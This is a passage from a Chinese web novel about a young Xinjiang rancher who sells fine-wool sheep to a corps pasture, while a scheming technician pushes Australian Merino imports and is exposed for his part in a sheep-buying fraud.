也许赵群学在之前的那种外行老板喜欢插手管事、外行亲戚喜欢揽权厂子会显得格格不入，但在这家厂子里，师星野不在意这些小生意，师月江不喜欢做生意，他至少能做90%的主，想来必定是如鱼得水的。 两人说着，便一起走进了厨房简单做了点儿饭，又聊了会儿天便各自睡下了。 第160章 萨哈烈从姚新泉那边离开后便坐了汽车去了隔壁市,晚上在那过了一夜，第二天一早便去了七号兵团牧场，找了自己的发小,在牧场当技术员的皮尔开提。 皮尔开提接到电话说是自己朋友来了还有点懵,到了外面见到萨哈烈后乐了,笑着过去抱了他一下,“你咋过来了？大老远过来也不跟我说一声,我要知道的话肯定去接你啊！” 萨哈烈摆了摆手毫不在意,“这不是有事儿嘛”，他也没兜圈子，开门见山便问，“你们牧场还在引进细毛羊吗？” 皮尔开提闻言点了点头,脸上还有点发愁,“是啊,这不是为了提高羊毛的产量跟质量嘛！新开的单位，急着想把该采买的都买回来，大家都急着引进,我正愁呢！” 萨哈烈一听便笑了,“那我今天估计没白来！我这次过来就是给你送好东西的！” 他从背后掏出两个袋子，一个大一点一个小一点,递给对方示意他打开,皮尔开提一看便愣住了,这羊毛的质量可真不错啊！ 毛又软又细又密,他伸手摸了摸，手感简直不要太好！ 他瞪大了眼睛看向萨哈烈，“你这是哪儿弄来的这么好的羊毛？咋还分了两袋子？两家还是不同种？但我看这应该是同一批吧？” 萨哈烈神秘一笑，“你先别管哪儿来的,你就说这样的羊毛你要是能弄到手，你们领导会不会重视？能不能给你升职加薪？” 皮尔开提闻言咽了口唾沫，但转念一想不对啊，“我光弄羊毛有个毛用？我又不是羊毛贩子，还是得要羊啊！” 他确实是发愁，不过真说要买羊，在新省这块儿其实不难，难的是要找合适的羊，得毛质量高才行！ “我记得上次跟你说了，这次开这个牧场主要就是想养毛用的羊，这不是因为咱们省早年出去了一位爱国人士如今就在做这块儿的生意嘛，人家在国外那羊毛卖得价格”，他啧啧两声，“半公斤羊毛比我一件军大衣都贵不少，人家为了回馈家乡，这才联系了上面说要给咱们下订单。不只是羊毛，还有咱们新省的棉花，人家都要。” “种棉花的农场不少，但是养毛用羊的牧场可没多少，还是以肉羊为主，这不就弄了咱们这个牧场，挂在兵团里。” “人家最开始就说了，要质量高的羊毛，就算不是最顶尖的但也绝对要好东西，我也不能随便出去拉一头就算数啊！” 萨哈烈神秘一笑，“我都能给你找到羊毛，我还能找不到羊？” 他一把抓住萨哈烈的胳膊，“你快说，这羊毛哪儿来的？我要是能大量弄到，你让我干啥我就干啥！” 萨哈烈哈哈大笑，“行，够爽快！那我就跟你说了吧，这羊毛是我一个朋友家的羊产的，他们家的羊品种好，羊毛质量就高。而且，他们家还懂养殖技术，能把羊养得很好。” 他拍了拍皮尔开提的肩膀，“我跟你说啊，我这次过来就是想着咱们俩一起干一票大的！你把你们牧场的领导叫过来，我跟他们谈，咱们合作，把这样的羊毛大量引进到你们牧场来，到时候你们吃肉，给我口汤喝就成！” 皮尔开提闻言眼睛一亮，刚想说什么又顿住，“你还没说咋专门分了两个袋子呢？是不是有什么特殊情况？” 萨哈烈白了他一眼，“大的那个袋子是去年留下的羊毛，小的袋子是我来之前从她家羊身上剪的，就是给你看下羊毛质量，很稳定。” 皮尔开提咧嘴笑了起来，“那行，你先去我办公室等，羊毛给我，我这就去跟我们领导说，你等着啊！” 说完他便转身跑进了牧场，招呼了个人带着萨哈烈去了他办公室，自己去找了领导。 皮尔开提到了场长办公室门口，刚想 敲门就听见里面传来的声音，“场长，我已经谈好了直接引进美利奴羊，只要你签单子，我立马去通知财务打钱，这两个月就能把羊都弄回来。” 皮尔开提皱了下眉头，怕场长同意，他赶忙敲门进去了。 场长正头痛呢，看到他进来，赶忙抬起头问，“什么事？” 皮尔开提也没废话，直接把萨哈烈给他的羊毛袋子递了过去，“场长，你看这是什么？” 场长疑惑地打开袋子，伸手摸了摸里面的羊毛，眼睛顿时亮了起来，又打开另一个袋子，羊毛同样也很不错，“这羊毛质量不错啊！哪儿来的？” 皮尔开提便把萨哈烈的事情简单说了一下，场长闻言点了点头，“行，你带他过来吧，我见见他。” 杜俊闻言便不高兴了，“场长，刚才不都说了引进美利奴羊吗，怎么又要看皮尔开提的羊？国内能有什么好羊？” 他满脸都写着不屑，“我跟你说的那可是引进澳大利亚的美利奴羊，澳大利亚，你知道不？”他得意洋洋地看着皮尔开提，皮尔开提人都懵了，随后又是一股愤怒涌了上来，咋了，澳大利亚就高贵是吧？ 场长不悦地皱起眉头，“皮尔开提你赶紧去请人。” “姐夫！”杜俊忍不住喊了起来。 “你给我闭嘴！能干干，不能干给老子滚蛋！”他媳妇儿确实让他给这个不成器的小舅子找个工作，他这不是想着杜俊好歹读了个畜牧业相关的中专，也不算自己徇私，结果谁知道是这么个脑袋空空的玩意儿？ 技术员干不了不还有那么多岗位？实在不行就给他看大门去！ 皮尔开提闻言一喜，赶忙转身跑去找萨哈烈。不一会儿，他便带着萨哈烈进了场长办公室。他提前跟萨哈烈暗示了下目前的情况，萨哈烈了然。 他也没废话，直接把自己的来意说了。 场长闻言并没有直接表态，而是看向杜俊，“你说要引进美利奴羊，那你说说，这美利奴羊有啥好处？”就当是给他最后一次机会吧！ 杜俊一听场长问自己，赶忙激动回答道，“场长，这美利奴羊可是澳大利亚的优质品种，羊毛质量那是一等一的好，国际上名头也是响当当的！而且适应能力强，生长速度也快，咱们要是引进了，肯定能大大提高羊毛的产量和质量！国内能有什么好羊毛……” 不等他说完就被场长打断了，真的非常不想听他在那逼叨叨了。 他又看向萨哈烈，“那你说说，你带来的这羊毛，是哪家的羊产的？质量如何保证？” 萨哈烈微微一笑，“场长，这羊毛是我一个朋友家的羊产的，他们家的羊是咱们本地的细毛羊，底子本身就不错，再加上她养殖技术也一流，所以羊毛质量才这么高。要是咱们能跟他们合作，把这样的羊毛大量引进到咱们牧场，那效益肯定错不了！” “另外”，他话音一转，又接着道，“她家的这批羊全是母羊，目前是第一胎，基本上这两天就要生了，她当时是专门又去找了中国美利奴羊去配的，小羊娃子的羊毛品质估计更好。” 场长摩挲着手中的羊毛，心里不说偏向吧，但至少在本省细毛羊跟澳大利亚的美利奴羊之间，他百分百选新省细毛羊。玩儿呢？ 再说了，等这一批都生了，又是经产的母羊，后续不管是繁殖还是什么的都不错啊！ 他抬头看向皮尔开提，“皮尔开提，你觉得呢？” 皮尔开提闻言，赶忙回答道：“场长，我觉得萨哈烈说的很有道理。咱们新省的细毛羊本身品质就不错，再加上他朋友家的养殖技术，羊毛质量肯定能上一个台阶。而且，这批羊还是经产的母羊，后续繁殖也有保障。要是咱们能跟他们合作，不仅能提高羊毛的产量和质量，还能省下不少引进外国品种的成本呢！” “再说了，这样去年的毛跟今年的毛的质量差不多，也没下降，这还是孕期的母羊，说明着羊毛的质量也比较稳定，我更倾向于萨哈烈这边的羊”。 场长闻言，微微点头，显然对皮尔开提的回答颇为满意。他转向萨哈烈，眼中闪过一抹赞许，“你朋友家的羊，确实是个不错的选择。正如皮尔开提所言，这能省下大笔引进外国品种的费用，对我们牧场而言，无疑是个利好消息。” 他稍作停顿，继续说道，“不过，此事还需进一步商榷，毕竟引进羊种非同小可，必须慎重考虑。你先回去，与你朋友沟通，让她准备好相关资料和证明，我们再详谈合作事宜。” 萨哈烈听罢，心中一喜，连忙点头应允，“好的，场长，我一定转达。那，我先告辞了。” 他转身离开场长办公室，皮尔开提紧随其后。到了外面，皮尔开提轻拍萨哈烈的肩膀，“哈哈，我就知道，场长一定会青睐你的羊毛！这下，咱们可算是立下大功了！” 萨哈烈也朗声笑道，“是啊，多亏了你，不然我连牧场的大门都进不了。事成之后，我一定好好感谢你！” 两人相视一笑，随后各自离去。萨哈烈出了牧场后没忍住原地蹦跶了两下，国营牧场给钱肯定比私人老板要好，自己就算从中牵线搭桥也能得到不少好处费，这事儿要是能定下来那就绝对不亏！ 160-170 第161章 萨哈烈根本等不及就要告诉姚新泉这个好消息,他找了个公用电话给她打了过去，姚新泉听了后先是一愣，随即便乐了,“你这可真行,为了我的事情这么大老远还专门跑了一趟啊！等回头家里牛羊养出来了请你吃肉啊！” 萨哈烈哈哈大笑,“你还别说,我还就想着你家的肉呢！” 年前姚新泉给他送的那一次,那肉的味道是真不错,也不知道她是怎么养的。 电话费太贵两人也没多聊，姚新泉把情况跟师月江说了，两人琢磨了一会儿，决定把自家羊毛送去检测,数据这东西最是一目了然,比嘴上吹出花花来有用的多！ “我记得隔壁市里毛纺厂是有自己的检测机构的,看看能不能送到那边去吧！” 他们本市没有毛纺厂，市里县里的毛基本上都是往那边送的。 师月江沉吟了一会儿后点头，“那我想办法联系看看吧！” 姚新泉摇头,“等萨哈烈回来也行,他有这方面的资源，咱们私人老板去检测他们未必给做。” 果不其然,托人去问过后对方说不接受委托检测,后来还是等萨哈烈到了之后帮着做成这事儿。 毛纺厂那边速度还挺快的,两天后结果就出来了,萨哈烈拿着报告过来的时候姚新泉刚给一头发动的怀了双胎的母羊接生完。 母羊和羊羔状态都不错，给简单断了脐，又消了消毒后便放到母羊身边让它去舔舐。 “这羊生的还挺快啊！”萨哈烈感慨，早晨他出门前给姚新泉打了个电话,当时是说有几头羊状态不太对，她得在家盯着。 这也就半天时间，这都生了五六十头了吧？ 姚新泉擦了擦手上的血渍，笑着回应，“是啊，这批羊都不错，生产挺顺利的。” 她看向萨哈烈手中的报告，“检测结果怎么样？” 萨哈烈扬了扬手中的报告，“非常好，你家的羊毛质量上乘，完全不输那些进口羊毛。这下，咱们可以更有信心地跟牧场谈了。” 姚新泉闻言，眼中闪过一抹喜色，“太好了，那咱们的合作就更有希望了。” 两人又聊了几句，萨哈烈便告辞离去。姚新泉看着他的背影，心中暗自感慨，这次能这么顺利，多亏了萨哈烈的帮忙，人家帮着跑前跑后的，自己得记这个情。 她转身回到羊圈，继续照顾刚生产完的母羊和羊羔。看着这些活泼可爱的小生命，她忍不住笑了起来，能卖去出毛再好不过了。 她只是个普通养殖户，养毛来钱太慢。要说真想培育顶尖的羊毛她其实也不能说没有信心，但是这不是一朝一夕的事情。 像是育肥一波羯羊，一次下来能净赚个小几万，但养羊出毛想赚几万块得几年？ 再说了就算她培育出顶级的羊毛来，她也没有客户啊！卖给谁？ 当然了，如果找师星野帮忙也许可以找到，但这座牧场姓姚，她可以欣然接受他们的帮助，但是不代表她要依赖于对方的帮助。 她不喜欢被人掐住脖子的感觉。 萨哈烈回去后想了想又给皮尔开提打了个电话，他开门见山，“我朋友家的牧场出的养毛拿去做了检测，细度大概在68-70支纱，长度8-10厘米，净毛率大概在50%-55%，强度在14-17，数据怎么样？” 皮尔开提人都愣住了，“我记得你上次说你朋友家的羊是新省细毛羊，你确定这数据没问题？” 这都不是好，这简直太好了！ 萨哈烈嗤 笑，“我是什么人你还不知道吗？这养毛都是我亲自送过去的，能有什么问题？” 皮尔开提深吸了一口气，语气中带着几分难以置信，“兄弟，不是我不信你这样的数据”，他搓了下脸，“这个数据简直比那些进口的羊毛还要好啊！萨哈烈，你这次可真是给我带来了个大惊喜！” 他顿了顿，又接着说道，“这样的羊毛质量，要是咱们牧场能大量引进，那效益绝对差不了！我得去找场长，得赶紧把这事儿敲定下来！” 萨哈烈闻言，心中也是一阵得意，“放心吧，皮尔开提，我这边会跟我朋友沟通好的，备案登记材料、检疫材料这些都准备好了，你们如果定好了就赶紧联系我，确定时间过来争取尽快跟牧场签合同。” 他想了想还是道，“皮尔开提，这羊毛我们是送到外地去检测的，托了我的关系，人家也知道我不自己养羊，那家毛纺厂见到这么漂亮的羊毛会不动心？他们要是去联系我朋友说服她继续养，或者有想买羊的人打听过去，你知道的，咱们这就是一个圈子，出了点儿什么事情谁都知道的。” 皮尔开提被他说的也紧张了起来，他这段时间不是没找别的羊，但是至少数据这方面绝对没有他们家的好！ 两人又聊了几句细节，便各自挂断了电话。 皮尔开提撂下电话便小跑着去了场长办公室，到了门口听到里面的动静他不禁感慨，这都是什么孽缘啊！ 杜俊又在里面。 “场长，我跟你说，那澳洲美利奴羊真的是好品种，咱们要是能引进，肯定能提高羊毛的产量和质量！”杜俊还在不遗余力地推销着美利奴羊。 皮尔开提皱了皱眉，这杜俊怎么又在这里？但也没办法，该说的事情得说，直接敲门进去了。 场长看到皮尔开提，微微颔首，“你来了，有什么事吗？” 杜俊则是忍不住在心里骂娘，他姐夫这几天在家里都躲着他，他去找人也找不到，但有些话来了牧场又不方便说，好不容易找到这么一个机会，结果还有人来捣乱！ 皮尔开提连忙把萨哈烈那边羊毛的检测数据以及自己的担忧跟场长说了一遍。场长闻言，脸色变得凝重起来。 他沉吟了一会儿，说道，“你说的有道理，这事儿的确得慎重。这样，你先去出趟差，这羊跟羊毛好不好还是得咱们自己看。” 皮尔开提闻言，心中一喜，连忙点头应允，“好的，场长，我这就去安排。” 他转身离开场长办公室，心中暗自得意，这下，看那杜俊还怎么蹦跶！ 等皮尔开提走了之后杜俊忍不了了，他起身走到崔文建身边，满脸焦急，“姐夫，你不会真听了那个皮尔开提的话了吧！那天来的那个男人是他朋友，谁知道两人有没有串通在一起蒙骗咱们或者有什么别的目的啊！姐夫你得防着他们！” 崔文建抬头看向对方，“那你呢？” 杜俊不解，“我什么？” “你从头到尾拽着我，要我去了解澳洲美利奴羊，甚至恨不得上面现在就批钱让你去采购，你又是什么目的？” 杜俊眼珠子转了转，脸上是掩饰不住的惊惶，崔文建的心沉了下去。 他没想到杜俊会是这样的反应，一时间心里出现了许多不好的猜测。 杜俊见状，心中更加慌乱，他赶忙解释道，“姐夫，你别误会，我这不是，我这不是想着为牧场好吗，澳洲美利奴羊多好啊，咱们要是能引进，肯定能赚大钱！” 崔文建看着他，眼中满是失望，“杜俊，你扪心自问，你真的是为了牧场好吗？还是只是为了你自己？” 杜俊脸色一白，他张了张嘴，却发现自己无言以对。 崔文建叹了口气，继续说道，“牧场的情况你又不是不知道，现在资金紧张，每一分钱都得花在刀刃上。技术方面也没配备齐全，别说引进国外的品种了，就是养国内娇嫩些的羊条件都不行。你倒好，整天就想着引进这引进那，也不想想实际情况。” 他顿了顿，又接着道，“我之前想着你可能是学艺不精，半瓶子水晃荡就想着能有一鸣惊人的机会，但我现在觉得，你是不是有其他的什么企图。” 杜俊闻言，心中一阵恼恨，他恨不得现在就转身离开，但又不敢，只能硬着头皮说道，“姐夫你怎么这么说我啊？我能为了什么，我不就是为了牧场着想吗？你这是误会我了啊！行了，我知道错了，我以后一定注意。” 崔文建没多说什么，只是定定地看着他，倒是杜俊受不了他这种目光找了个借口便跑了。 等出了门他边走边在心里咒骂着皮尔开提和萨哈烈，都是他们害的自己在姐夫面前丢脸！ 但澳洲美利奴羊是一定要引进的，而目前牧场里负责引进这一块儿工作的就只有自己和皮尔开提，皮尔开提的方案绝对不能被采纳！ 既然他要出差，那自己就跟他一起去！总能闹得他们谈不成这一单的！ 乡下地方能有什么好羊？也许是歪打正着有那么一两头还不错，但能代表什么？ 他虽然有私心，但也确实是看不上那什么细毛羊。 牧场现在就他们两个负责引进种羊的，他被打倒后自己自然就会顶上，到时候还能光明正大引进澳洲美利奴羊，得到自己想要的。 第162章 杜俊确定了皮尔开提出差的时间和地点后也没跟人打招呼,只是走了之后给崔文建留了一封请假单。 崔文建拿着请假单脸色黑沉，扭头就去找了自己媳妇杜晓晓，他把请假单仍在了杜晓晓桌子上,“你弟弟到底怎么回事？没跟任何人说突然就跑了,还是跟着单位要出差的员工跑了,他想干什么？他还想不想干了？” 杜晓晓看了请假单一眼有些无语,“这么大惊小怪做什么？俊俊就是去玩了嘛！” “玩儿？”崔文建被气笑了,“他闹着非要牧场去引进澳洲美利奴羊是为了什么？真当我崔文建是傻子是吧？” 杜晓晓闻言,皱了皱眉，“你这是什么话？俊俊他能有什么别的目的，不就是想给牧场引进好种羊吗？” 崔文建冷哼一声，“引进好种羊？我看他是想借着这个机会捞好处吧！再说了,那澳洲美利奴羊真的就适合咱们牧场吗？” 杜晓晓闻言,心中也有些不悦,“你这么说俊俊，他就算有什么做得不对的地方，那也是出发点是好的。再说了,皮尔开提他们找的种羊就一定好吗？俊俊去看看也是应该的,万一他们的种羊真的不行呢？” 崔文建冷笑，“就算皮尔开提他们找的不行,杜俊非要我引进的澳洲美利奴羊更不行！”他都要气疯了,引进国外的种羊要多少钱有多难这是一点不考虑是吧？但凡他说是引进中国美利奴羊或者说是澳洲美利奴羊跟国内羊的杂交他都没这么生气。 上来就澳洲美利奴羊,他甚至怀疑 是不是他引进了澳洲美利奴羊,杜俊能拿到额外的钱！ 他叹了口气，“你去问问你爸妈，杜俊最近有没有什么大额开支，有没有什么异常的地方？” 杜晓晓闻言脸都变了,“崔文建！你说的那是人话吗？你什么意思啊？你是觉得我弟弟违法乱纪了是吗？你就这么容不下他吗？那你当初为什么要让他进牧场？” 崔文建冷笑，“我容不下他？我要是容不下他我压根就不会让他进来，我到哪招不到技术员？还有比杜俊更差劲的技术员吗？” “还有，杜晓晓你好好想想吧，咱闺女现在才12岁，不管是读书还是别的都要钱，以后工作结婚了咱们也得给孩子准备房子吧，总不能让孩子跟咱们生活在乡下。” “我这个年纪正是赚钱的年纪，正是给闺女攒钱，给咱们攒养老钱的年纪，要是杜俊做了些乱七八糟的事情闹得我这个场长干不下去了，你好好想想，是你爹妈会养着咱们一家三口还是你那个不成器的弟弟会养咱们。” 杜晓晓僵在原地，答案一目了然不是吗？ “我回去问问。” 杜晓晓心里乱糟糟的，她不知道崔文建说的这些是不是真的，但她知道，如果杜俊真的做了什么违法乱纪的事情，那不仅杜俊完了，他们一家子都完了。 她叹了口气，转身往娘家走去。 到了娘家，杜晓晓也没跟爸妈多说什么，直接把崔文建的话跟他们复述了一遍。她爸妈闻言，脸色也变得凝重起来。 他们看着杜晓晓，眼中满是担忧，“晓晓，这事儿你得好好问问俊俊，他到底在做什么？咱们可不能让他走上歪路啊！” 杜晓晓无奈，“我就是来问你们的，俊俊最近有没有什么大额开支，有没有什么异常的地方？” 爸妈闻言，对视了一眼，然后摇了摇头，“没有啊，俊俊最近没跟我们要过钱，也没听他说过什么异常的事情。” 杜晓晓闻言，心里更加不安了，没要钱难道不就是最大的异常吗？ 杜妈突然想到一个事情，“最近俊俊有几个朋友总在找他，我还听他们吵起来说，还在提什么种羊什么骗子的，不会有什么问题吧？” 杜晓晓的心彻底沉下去了，也顾不得和爸妈再说什么扭头往回走。 另一边姚新泉又过上了之前跟牛牛们生产时差不多的日子，没日没夜盯着它们等出生。 不过总的来说比牛生产的时候顺利多了，小家伙们基本不怎么需要她操心的。 姚新泉挤了些羊奶回来，烧开放凉后给家里小动物们都喂了一些。 说起来家里这些小动物们除了小雪豹的爪子还没恢复，鹅喉羚的角断了至少短期没办法恢复，其他小动物们其实都恢复得还行，外伤虽然还没完全好，但至少伤口不会再开裂，后续就是需要时间养一养。 不过高局没提放生什么的，她便也没着急，毕竟除了还在吃奶的以及小雪豹之外，别的基本都是吃草，夏天草原上还怕没草？ 姚新泉给小雪豹爪子又涂了一遍药，小雪豹把头搭在她的膝盖上，大眼睛眨巴眨巴的，看着跟个小玩偶一样特别可爱。 突然小雪豹警惕地朝大门看了过去，姚新泉估摸着是有人来了，她把小雪豹安置好后这才去开门。 就见萨哈烈带着两个看起来水火不容的男人一起过来了。 这么多人？ 姚新泉微微一愣，随即客气地将他们迎了进来。萨哈烈介绍道，“这两位分别是牧场的技术员皮尔开提和杜俊，他们此行也是想来亲眼看看你家的羊毛质量还有羊怎么样，顺便探讨一下合作的可能性。” 姚新泉听萨哈烈提过皮尔开提，这是他的朋友，至于另一个，她虽然没听过，但是只看对方的眼神她就知道来者不善。 她一边领着三人往羊圈走，一边大概介绍了一下自己养殖的经验和方法。皮尔开提听得频频点头，而杜俊则是满脸不屑，显然对姚新泉这个普通养殖户能培育出优质羊毛持怀疑态度。 他确实有自己的目的，但他也是真看好澳洲美利奴羊。 到了羊圈，姚新泉熟练地抓起一把羊毛，向他们展示着羊毛的光泽和弹性。皮尔开提仔细地观察着，时不时地点头称赞。而杜俊则是走马观花地看了一圈，脸上满是不以为然的表情。 姚新泉也不在意他的态度，毕竟羊毛的质量摆在那里，不是靠嘴皮子就能否定的。她又把羊毛检测报告拿了出来递给对方，还耐心地解答着皮尔开提的问题。 一番交流下来，皮尔开提对姚新泉家的羊毛质量表示非常满意，他有些不好意思，“讲实话我真的喜欢你家的羊跟养毛，但是引进这么多也不是我一两句话就成，我过会就联系厂长过来看，没问题的话就跟你签协议。” 杜俊见状，心里的不满都要溢出来了，“你凭什么随随便便就能替牧场做决定？”。 皮尔开提看了他一眼，语气平静，“就凭我是牧场的技术员，我负责考察引进种羊以及羊毛质量，我觉得可以那就可以。” “人家澳洲的羊那都是要血统要什么谱系的，这种传下来的羊血统纯正，羊毛才是好东西，但你看看这”，他满脸嫌恶地指向羊圈里的羊，“它们有啥？不过是表象罢了！” 姚新泉忍不住笑了，“澳洲美利奴羊吗？” 杜俊没想到她也知道，愣了一下，“对啊，怎么了？” “引进一头澳洲美利奴羊要多少钱你知道吗？国内好一点的种羊也就五六百块钱吧，贵也贵的有限，但引进一头澳洲美利奴羊，普通的一头要200-500美元左右，折合人民币大概是1000元到3000元。如果是你说的那种又讲究谱系又讲究血统的，那一头种羊估摸着一千美元都打不住，那就是最起码5000元人民币，还有运输、检疫等等问题，包括还得考虑漂洋过海过来路上会不会折损。那你们牧场打算买几头？” 杜俊脸都黑了，皮尔开提也忍不住咂舌，他知道贵，但没想到贵成这样，如果真引进这种，那他们的规模最起码十来年别想扩张。 杜俊没想到她真懂，一时间进退两难，半晌哼了一声转身离去。 皮尔开提烦躁地揉了下头发，“姚老板，我这就去给场长打电话。” 姚新泉笑着点头，“家里有电话，你自便”，她也没跟过去，继续在这边照顾小羊。 萨哈烈无奈地叹气，“他们这种单位里乱事太多了！”不管是为了钱还是为了权，反正也不管自己的方案能不能行，但只要别用对方的就行。 “没意思的很”，萨哈烈嗤了一声没再说什么。 姚新泉换了话题，“你帮我收的羯羊咋样了？” 萨哈烈也配合着转移了话题，“四百来头有了，我再凑两天，你不是还要挑吗？” 姚新泉笑了笑，“我做的小本生意，肯定得好好挑啊！” 萨哈烈没好气地翻了个白眼，“那你是等他们把羊提走了再买吗？”老实说他不希望是这样，他那边地方有限，五六百头羊挤在那边时间长了肯定要出问题的。 而且不管是饲料还是啥的，什么不要钱？ 多养一天成本就多一些啊！ 姚新泉摇了摇头，“你那边差不多了我就去挑，你帮我找羊，我不能让你一直养着，我畜棚里是没地方关了，到时候先在草场上隔一个临时的棚子出来隔离一下，影响应该不大。” 萨哈烈笑着答应了，他就喜欢跟这种比较爽快而且还不爱占小便宜的人做生意。 第163章 趁着杜俊不在的机会,崔文建托了关系去打听杜俊身上有没有什么事情，可当他真知道杜俊做了什么的时候，崔文建瘫坐在了椅子上。 也就是杜俊现在不在他面前,不然他非得左右开弓甩他七八个耳光才行。 “文建,你是说俊俊他”,杜晓晓有些迟疑,她是真不敢相信啊！ 崔文建冷笑,“他什么？他娘的你那个该死的弟弟竟然借着牧场的名义去帮人收费代买种羊？” 崔文建都要炸了,这几天上面派人下来统计关于7.2特大诈骗案受害者的时候他才知道这件事的，当时就找了杜俊过来问他怎么回事。 当初那个会是杜俊去参加的，当杜俊回来跟他说想要给牧场采购那个羊的时候他都觉得可笑，搞搞清楚他们是要养出毛的羊,不是肉羊,人家的宣传是说长肉快啊！ 最起码长毛快不是他们的宣传重点。 反正他不愿意拿自己的职业生涯出来赌,就怎么也没同意购买。 他现在才反应过来，当人家上门来查的时候他为什么那么一副死了爹娘的模样。 原来是这个瘪犊子把牧场的购买指标卖给了其牧民，又高价帮他们代买了羊。 现在出事了,人家牧民知道了消息,可不要找来吗？ 他暂时是安抚住了，但钱从哪儿出？ 他反正最终打上了牧场的主意。 崔文建心寒得不行,“他是一点没把我这个姐夫放在眼里啊！” 杜晓晓张了张嘴最终却什么都没说出来。 崔文建倏地起身,杜晓晓有些迟疑,“老崔,你这要做什么去？” 崔文建冷笑，“干什么去？我举报去！” 举报完他就去出差看看人家那细毛羊到底好不好，如果好就赶紧买回来，夜长梦多啊！ 不顾杜晓晓的崩溃阻拦,崔文建大步去了派出所，是他的问题，明明杜俊没那个本事，自己还让他当这个狗屁的技术员。 唯一庆幸的就是这小子是真有文凭，在录取他这个事情上自己不算太放水，否则自己都得栽！ 等崔文建在县汽车站被皮尔开提接到的时候他还有点懵，场长这就来了？ 他也不废话，“走，看羊去！” 皮尔开提骑着摩托车载着崔文建直接赶往了姚新泉的羊圈，一路上皮尔开提都在跟崔文建介绍姚新泉的羊毛质量有多好，言辞之中满是赞赏。 崔文建虽然心急，但也知道这时候不是发作的时候，只能耐着性子听皮尔开提说完。 到了羊圈，崔文建下车一看，目光就彻底被吸引住了，不管是母羊还是羊羔子都很漂亮。 一身洁白的羊毛一看就知道绝对是上乘货，他揪了一小撮下来仔细看，羊毛柔软细腻，光泽自然柔和，颜色均匀又有弹性，摸上去有轻微湿润感。纤维长并且长度还都差不多。拉伸后回弹也比较好，而且搓一搓也不起球。 他又接了点儿水轻轻滴在羊毛上，就见那水珠缓慢被羊毛吸收。 他深吸一口气，目光灼热地看着姚新泉，“同志，你这羊怎么卖的，我们谈谈这个事情？” 萨哈烈和皮尔开提对视一眼，眼中满是笑意，事情这就成了一半了，剩下再看价格。 师月江恰巧也从厂子回来了，几人坐在客厅里谈起了价格。 姚新泉开门见山说了自己的意见，“母羊的话你如果不称重，那每头500块我最多给你降到480，小羊羔是我专门用美利奴羊去配的，你可以再去看下小羊羔的羊毛，跟母羊比就不用说了，在小羊羔里也绝对是顶尖的。所以你不称重的话，小羊羔200一头，最低给到180一头，我可以给你养到羊满月，到时候你带走小羊羔，如果是一个月内因为它本身的问题死亡，我这边给你全额退款。” “你称重的话那咱们再谈单价。” 崔文建没第一时间拒绝，倒是说，“还是整头整头卖吧！”又不是称重卖肉，没必要那样计算。 至于价格，他仔细想了想最终还是道，“价格还能再降吗？” 她家的羊比起一般的细毛羊价格肯定是贵，比起肉羊价格那就更不用说了，但问题是这是做种羊的啊！ 而且羊毛品质在这里，比起中国美利奴羊也不差什么，人家怎么可能贱卖？ 甚至崔文建都觉得，家里羊毛都这么好了，不自己养着竟然还出售，这不有病吗？ 姚新泉想了想最终还是道，“价格我就不让了，但母羊我给保两个月，两个月期间只要是因为自身原因死亡，我也给你退款。另外就是如果羊生病了你可以联系我，我去治。” 萨哈烈生怕生意就谈不成了所以赶紧道，“你们别看小姚年轻，但当兽医那是这个”，他表情夸张得比了个大拇指。 “艾力西尔兽医你们知道吧？” 崔文建和皮尔开提都点头，别看艾力兽医行政级别也不怎么高，好像也不怎么出名，但是周边几个县市凡是养牛羊的就没几个不知道他的。 疑难杂症人家未必能解决，但是一些相对常见一些的病症那都没啥问题。 别觉得这好像容易了一样，多少人都看不起病看不上病呢！有这样一位医术不错的兽医是多难得的一件事情？ “小姚的医术我不好说超过艾力兽医吧，但至少在接生这一块儿牛坏了！”接着他把姚新泉家牛之前好几头难产她全都安全接生的事情说了，崔文建两人满脸惊叹。 他又说，“还有小姚家里还治好了两匹腿骨折的马呢！你们想想，咱们这边有谁治好过？” 两人更震惊了，崔文建沉默了一会儿咬牙拍了下大腿，“成，就按你说的来，咱们论头卖，之后如果有什么问题可能还得麻烦你，我们给报销来回车费！” 就算稍微贵了点儿，但是就当是为了交好一位厉害兽医吧！ 再说了，顶多也只是没占上什么便宜罢了！ “羊你得给我们养到满月，到时候不管是运走还是什么的风险小一点”，姚新泉点了点头自然是没任何意见的。 因为是跟兵团单位合作的，所以各项手续都办的很全，崔文建二人办好后便先走了，约好了什么时候过来接羊。 因为羊还没生完，所以钱等到他们来接羊前三天一次性支付完毕就行。 等人走了后姚新泉缓缓吐出一口气，只觉得轻松了许多，她有些好奇地看向萨哈烈，“你咋知道我干兽医的事情？” 萨哈烈嘿嘿一笑，“你还真当圈子里还能有秘密啊？” 他干这行不说久，至少也快十年了，早年也是养过羊的，太远的地方不好说，近的地方谁还不知道谁啊？ 这也就是姚新泉没有表现出太爱交际，不然大家家里牲畜有个什么毛病可能就都想来找她了。 “那你最近有听说啥秘密？”姚新泉有点好奇。 萨哈烈意味深长地看了她一眼，“最大的消息不就是你掀翻了那些骗子的桌子，现在整个省都不太平了吗？” 姚新泉愣住了，没忍住问，“你这也知道？”公安那边肯定是会保密的啊，那他们怎么知道的？姚新泉越琢磨越不对劲，表情也警惕了起来。 萨哈烈忍不住笑，“你想太多了吧！上次市里开那个会，大家正准备签合同呢，公安就来了，还是在你走了之后来的，你觉得他们会猜不出背后是你去举报的？” 姚新泉想了想，也是，不过她也没想藏着掖着，她行得正坐得端。 “那些人背后怎么说我的？”姚新泉好奇，总觉得那些人未必会在背后说自己好话。 萨哈烈笑着笑着便开始叹气，“那些勺子真的……”，他摇了摇头，第一次听说这个事情的时候他也没往深处想，反正自己也不做养殖，对自己没啥直接影响。就算肉价降下来了，他还可以走量啊！ 但后来知道这里面不太对之后他琢磨了一下才发现真的处处是坑啊！ “有人说你就是嫉妒那个姓马的，说你是为了将来给他们卖羊才陷害姓马的”，这话萨哈烈说出来都觉得脏了嘴。 姚新泉冷笑，“我就算卖羊，他那种蠢货也不会是我选择的客户，一点都不用担心我坑他。” 萨哈烈赶忙安抚，“大多数人 还是正常的，就算最开始不明白，但是后来上面下来人又是宣讲，又是统计有没有受害者之类的他们还有啥不明白？所以还挺感谢你呢！” 姚新泉这下是真相信他是啥都知道了，“你的介绍费等他那边钱到了我付给你，羯羊的话我先付一部分款子，大头还是等后面，你看行吗？” 萨哈烈笑，“这有什么不行的？做生意哪有不欠钱的？”再说了，最多也就一个月的事情，但跟这种金娃娃搞好关系，日后自己赚钱的机会可不会少呢！ 